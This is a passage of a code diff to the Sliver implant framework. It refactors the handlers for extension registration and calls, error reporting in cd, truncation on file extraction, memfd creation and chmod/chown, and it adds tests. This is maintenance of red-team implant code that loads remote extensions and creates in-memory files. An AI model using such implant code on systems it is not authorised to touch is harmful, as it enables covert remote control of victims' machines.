if result := extension.extensionCallback(unsafe.Pointer(&source[0]), int32(len(source))); result != Failure {
|
||||
t.Fatalf("panicking callback returned %d, want %d", result, Failure)
|
||||
}
|
||||
}
|
||||
@@ -31,11 +31,6 @@ import (
|
||||
reflektor "github.com/sliverarmory/reflektor/memmod"
|
||||
)
|
||||
|
||||
const (
|
||||
Success = 0
|
||||
Failure = 1
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
|
||||
@@ -2,16 +2,18 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors. Runtime components handle extensions WASM, handlers wireguard, handlers darwin, and handlers generic for implant-side handlers features.
|
||||
Runtime message handlers that react to server instructions. Dispatches inbound RPC messages to feature-specific executors, including native and WASM extension lifecycle requests.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `extensions-wasm.go` – Routes extension-related RPC messages to the WASM runtime.
|
||||
- `handlers_extensions.go` – Shared Windows, macOS, and Linux native extension registration, invocation, and listing handlers.
|
||||
- `handlers-wireguard.go` – Handles WireGuard control messages and state updates.
|
||||
- `handlers.go` – Registers core handler functions and shared dispatch utilities.
|
||||
- `handlers_darwin.go` – macOS-specific handler bindings and feature toggles.
|
||||
- `handlers_generic.go` – Generic handler implementations used when no platform specialization is required.
|
||||
- `handlers_linux.go` – Linux-focused handler logic and build tags.
|
||||
- `handlers_unix.go` – Shared macOS and Linux permission-change handlers.
|
||||
- `handlers_windows.go` – Windows-specific handler implementations.
|
||||
- `kill-handlers.go` – Processes kill commands for sessions and tasks in a platform-agnostic way.
|
||||
- `kill-handlers_windows.go` – Windows-specific kill command handling.
|
||||
|
||||
@@ -444,12 +444,13 @@ func cdHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
os.Chdir(cdReq.Path)
|
||||
dir, err := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir}
|
||||
if err != nil {
|
||||
resp([]byte{}, err)
|
||||
return
|
||||
chdirErr := os.Chdir(cdReq.Path)
|
||||
dir, getwdErr := os.Getwd()
|
||||
pwd := &sliverpb.Pwd{Path: dir, Response: &commonpb.Response{}}
|
||||
if chdirErr != nil {
|
||||
pwd.Response.Err = chdirErr.Error()
|
||||
} else if getwdErr != nil {
|
||||
pwd.Response.Err = getwdErr.Error()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -984,7 +985,7 @@ func extractFiles(data []byte, path string, overwrite bool) (int, int, error) {
|
||||
return filesWritten, filesSkipped, err
|
||||
}
|
||||
}
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
|
||||
file, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR|os.O_TRUNC, os.FileMode(header.Mode))
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return filesWritten, filesSkipped, err
|
||||
|
||||
@@ -53,6 +53,8 @@ var (
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgChmodReq: chmodHandler,
|
||||
pb.MsgChownReq: chownHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -92,69 +94,8 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &pb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &pb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &pb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &pb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &pb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &pb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewDarwinExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type extensionFactory func(data []byte, id string, arch string, init string) extension.Extension
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerExtension(data, resp, newExtension)
|
||||
}
|
||||
|
||||
func registerExtension(data []byte, resp RPCResponse, factory extensionFactory) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
if err := proto.Unmarshal(data, registerReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := factory(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err := extension.Register(ext)
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
if err := proto.Unmarshal(data, callReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
var output []byte
|
||||
err := extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
// Native callbacks run on the extension's call stack. Keep the first
|
||||
// result, copy it before the native buffer expires, and respond only
|
||||
// after the extension call has returned.
|
||||
if gotOutput {
|
||||
return
|
||||
}
|
||||
gotOutput = true
|
||||
output = append([]byte(nil), out...)
|
||||
})
|
||||
if gotOutput {
|
||||
callResp.Output = output
|
||||
} else if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
if err := proto.Unmarshal(data, lstReq); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: extension.List(),
|
||||
}
|
||||
data, err := proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"slices"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
type failingExtension struct {
|
||||
id string
|
||||
loadErr error
|
||||
}
|
||||
|
||||
type callbackLifetimeExtension struct {
|
||||
id string
|
||||
output []byte
|
||||
nativeOutput []byte
|
||||
callActive atomic.Bool
|
||||
callbackReturned chan struct{}
|
||||
allowCallReturn chan struct{}
|
||||
allowReturnOnce sync.Once
|
||||
}
|
||||
|
||||
func (f *failingExtension) Load() error {
|
||||
return f.loadErr
|
||||
}
|
||||
|
||||
func (f *failingExtension) Call(string, []byte, func([]byte)) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetID() string {
|
||||
return f.id
|
||||
}
|
||||
|
||||
func (f *failingExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) Call(_ string, _ []byte, callback func([]byte)) error {
|
||||
e.callActive.Store(true)
|
||||
defer e.callActive.Store(false)
|
||||
|
||||
e.nativeOutput = append([]byte(nil), e.output...)
|
||||
callback(e.nativeOutput)
|
||||
for index := range e.nativeOutput {
|
||||
e.nativeOutput[index] = 0xa5
|
||||
}
|
||||
close(e.callbackReturned)
|
||||
<-e.allowCallReturn
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetID() string {
|
||||
return e.id
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) GetArch() string {
|
||||
return "test"
|
||||
}
|
||||
|
||||
func (e *callbackLifetimeExtension) allowReturn() {
|
||||
e.allowReturnOnce.Do(func() {
|
||||
close(e.allowCallReturn)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRegisterExtensionDoesNotAddFailedLoad(t *testing.T) {
|
||||
const extensionID = "handler-test-failed-load"
|
||||
wantErr := errors.New("load failed")
|
||||
request, err := proto.Marshal(&sliverpb.RegisterExtensionReq{Name: extensionID})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
var (
|
||||
responseData []byte
|
||||
responseErr error
|
||||
responses int
|
||||
)
|
||||
registerExtension(request, func(data []byte, err error) {
|
||||
responses++
|
||||
responseData = data
|
||||
responseErr = err
|
||||
}, func(_ []byte, id string, _, _ string) extension.Extension {
|
||||
return &failingExtension{id: id, loadErr: wantErr}
|
||||
})
|
||||
|
||||
if responseErr != nil {
|
||||
t.Fatalf("response callback returned error: %v", responseErr)
|
||||
}
|
||||
if responses != 1 {
|
||||
t.Fatalf("got %d responses, want 1", responses)
|
||||
}
|
||||
response := &sliverpb.RegisterExtension{}
|
||||
if err := proto.Unmarshal(responseData, response); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != wantErr.Error() {
|
||||
t.Fatalf("got response error %q, want %q", response.GetResponse().GetErr(), wantErr)
|
||||
}
|
||||
if slices.Contains(extension.List(), extensionID) {
|
||||
t.Fatalf("extension %q was registered after its load failed", extensionID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallExtensionHandlerDefersResponseAndCopiesCallbackOutput(t *testing.T) {
|
||||
const extensionID = "handler-test-callback-lifetime"
|
||||
wantOutput := []byte("native extension output")
|
||||
ext := &callbackLifetimeExtension{
|
||||
id: extensionID,
|
||||
output: wantOutput,
|
||||
callbackReturned: make(chan struct{}),
|
||||
allowCallReturn: make(chan struct{}),
|
||||
}
|
||||
extension.Add(ext)
|
||||
defer ext.allowReturn()
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CallExtensionReq{Name: extensionID, Export: "Run"})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal request: %v", err)
|
||||
}
|
||||
|
||||
type handlerResponse struct {
|
||||
data []byte
|
||||
err error
|
||||
callActive bool
|
||||
}
|
||||
responses := make(chan handlerResponse, 2)
|
||||
handlerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(handlerDone)
|
||||
callExtensionHandler(request, func(data []byte, err error) {
|
||||
responses <- handlerResponse{
|
||||
data: append([]byte(nil), data...),
|
||||
err: err,
|
||||
callActive: ext.callActive.Load(),
|
||||
}
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-ext.callbackReturned:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("extension callback did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("RPC response was delivered before Extension.Call returned")
|
||||
default:
|
||||
}
|
||||
|
||||
ext.allowReturn()
|
||||
var response handlerResponse
|
||||
select {
|
||||
case response = <-responses:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not deliver a response")
|
||||
}
|
||||
if response.callActive {
|
||||
t.Fatal("RPC response was delivered while Extension.Call was active")
|
||||
}
|
||||
if response.err != nil {
|
||||
t.Fatalf("response callback returned error: %v", response.err)
|
||||
}
|
||||
|
||||
callResponse := &sliverpb.CallExtension{}
|
||||
if err := proto.Unmarshal(response.data, callResponse); err != nil {
|
||||
t.Fatalf("unmarshal response: %v", err)
|
||||
}
|
||||
if !bytes.Equal(callResponse.Output, wantOutput) {
|
||||
t.Fatalf("response output = %q, want %q", callResponse.Output, wantOutput)
|
||||
}
|
||||
if bytes.Equal(ext.nativeOutput, wantOutput) {
|
||||
t.Fatal("fake native output was not poisoned after the callback")
|
||||
}
|
||||
|
||||
select {
|
||||
case <-handlerDone:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("callExtensionHandler did not return")
|
||||
}
|
||||
select {
|
||||
case <-responses:
|
||||
t.Fatal("callExtensionHandler delivered more than one response")
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemHandlersIncludeExtensions(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{
|
||||
sliverpb.MsgRegisterExtensionReq,
|
||||
sliverpb.MsgCallExtensionReq,
|
||||
sliverpb.MsgListExtensionsReq,
|
||||
} {
|
||||
if handlers[messageType] == nil {
|
||||
t.Errorf("handler for message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestCdHandlerReportsChdirFailure(t *testing.T) {
|
||||
workingDirectory := t.TempDir()
|
||||
t.Chdir(workingDirectory)
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.CdReq{Path: filepath.Join(workingDirectory, "missing")})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
cdHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("cdHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Pwd{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode cd response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() == "" {
|
||||
t.Fatal("cdHandler returned success for a missing directory")
|
||||
}
|
||||
if response.Path != workingDirectory {
|
||||
t.Fatalf("working directory changed: got %q, want %q", response.Path, workingDirectory)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("cdHandler did not invoke its response callback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractFilesTruncatesOverwrittenFile(t *testing.T) {
|
||||
destination := t.TempDir()
|
||||
archive := func(content string) []byte {
|
||||
t.Helper()
|
||||
buffer := bytes.NewBuffer(nil)
|
||||
writer := tar.NewWriter(buffer)
|
||||
header := &tar.Header{Name: "bundle/item.txt", Mode: 0o600, Size: int64(len(content)), Typeflag: tar.TypeReg}
|
||||
if err := writer.WriteHeader(header); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := writer.Write([]byte(content)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return buffer.Bytes()
|
||||
}
|
||||
|
||||
if written, skipped, err := extractFiles(archive("a deliberately long first payload\n"), destination, false); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("initial extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
if written, skipped, err := extractFiles(archive("short\n"), destination, true); err != nil || written != 1 || skipped != 0 {
|
||||
t.Fatalf("overwrite extract: written=%d skipped=%d err=%v", written, skipped, err)
|
||||
}
|
||||
content, err := os.ReadFile(filepath.Join(destination, "bundle", "item.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "short\n" {
|
||||
t.Fatalf("overwritten content = %q, want exact shorter payload", content)
|
||||
}
|
||||
}
|
||||
@@ -20,22 +20,20 @@ package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -76,6 +74,11 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
sliverpb.MsgCallExtensionReq: callExtensionHandler,
|
||||
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
|
||||
@@ -91,11 +94,12 @@ var (
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// Linux Only
|
||||
// Unix permissions
|
||||
sliverpb.MsgChmodReq: chmodHandler,
|
||||
sliverpb.MsgChownReq: chownHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
// Linux Only
|
||||
sliverpb.MsgMemfilesListReq: memfilesListHandler,
|
||||
sliverpb.MsgMemfilesAddReq: memfilesAddHandler,
|
||||
sliverpb.MsgMemfilesRmReq: memfilesRmHandler,
|
||||
@@ -107,6 +111,10 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewLinuxExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
func dumpHandler(data []byte, resp RPCResponse) {
|
||||
procDumpReq := &sliverpb.ProcessDumpReq{}
|
||||
err := proto.Unmarshal(data, procDumpReq)
|
||||
@@ -251,34 +259,24 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func memfilesAddHandler(_ []byte, resp RPCResponse) {
|
||||
|
||||
var nrMemfdCreate int
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{}
|
||||
memfilesAdd.Response = &commonpb.Response{}
|
||||
memfilesAdd := &sliverpb.MemfilesAdd{Response: &commonpb.Response{}}
|
||||
|
||||
memfdName := taskrunner.RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
memfilesAdd.Response.Err = err.Error()
|
||||
} else {
|
||||
nrMemfdCreate =
|
||||
319
|
||||
memfilesAdd.Fd = int64(fd)
|
||||
}
|
||||
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
fd_str := fmt.Sprintf("%d", fd)
|
||||
fd_int, _ := strconv.ParseInt(fd_str, 0, 64)
|
||||
memfilesAdd.Fd = fd_int
|
||||
|
||||
data, err := proto.Marshal(memfilesAdd)
|
||||
if err != nil && fd >= 0 {
|
||||
_ = unix.Close(fd)
|
||||
}
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
@@ -320,165 +318,3 @@ func memfilesRmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
|
||||
}
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uid_str string
|
||||
var gid_str string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid_str = chownReq.Uid
|
||||
usr, err = user.Lookup(uid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid_str = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestMemfilesAddAndRemoveLifecycle(t *testing.T) {
|
||||
var addResponse *sliverpb.MemfilesAdd
|
||||
memfilesAddHandler(nil, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesAddHandler callback error: %v", handlerErr)
|
||||
}
|
||||
addResponse = &sliverpb.MemfilesAdd{}
|
||||
if err := proto.Unmarshal(data, addResponse); err != nil {
|
||||
t.Fatalf("decode add response: %v", err)
|
||||
}
|
||||
})
|
||||
if addResponse == nil {
|
||||
t.Fatal("memfilesAddHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := addResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesAddHandler returned error: %s", errText)
|
||||
}
|
||||
if addResponse.Fd < 3 {
|
||||
t.Fatalf("memfilesAddHandler returned invalid fd %d", addResponse.Fd)
|
||||
}
|
||||
fd := int(addResponse.Fd)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd)
|
||||
link, err := os.Readlink(fdPath)
|
||||
if err != nil {
|
||||
t.Fatalf("read memfd link: %v", err)
|
||||
}
|
||||
if !strings.Contains(link, "/memfd:") {
|
||||
t.Fatalf("fd link %q does not identify a memfd", link)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.MemfilesRmReq{Fd: addResponse.Fd})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var removeResponse *sliverpb.MemfilesRm
|
||||
memfilesRmHandler(request, func(data []byte, handlerErr error) {
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("memfilesRmHandler callback error: %v", handlerErr)
|
||||
}
|
||||
removeResponse = &sliverpb.MemfilesRm{}
|
||||
if err := proto.Unmarshal(data, removeResponse); err != nil {
|
||||
t.Fatalf("decode remove response: %v", err)
|
||||
}
|
||||
})
|
||||
if removeResponse == nil {
|
||||
t.Fatal("memfilesRmHandler did not invoke its response callback")
|
||||
}
|
||||
if errText := removeResponse.GetResponse().GetErr(); errText != "" {
|
||||
t.Fatalf("memfilesRmHandler returned error: %s", errText)
|
||||
}
|
||||
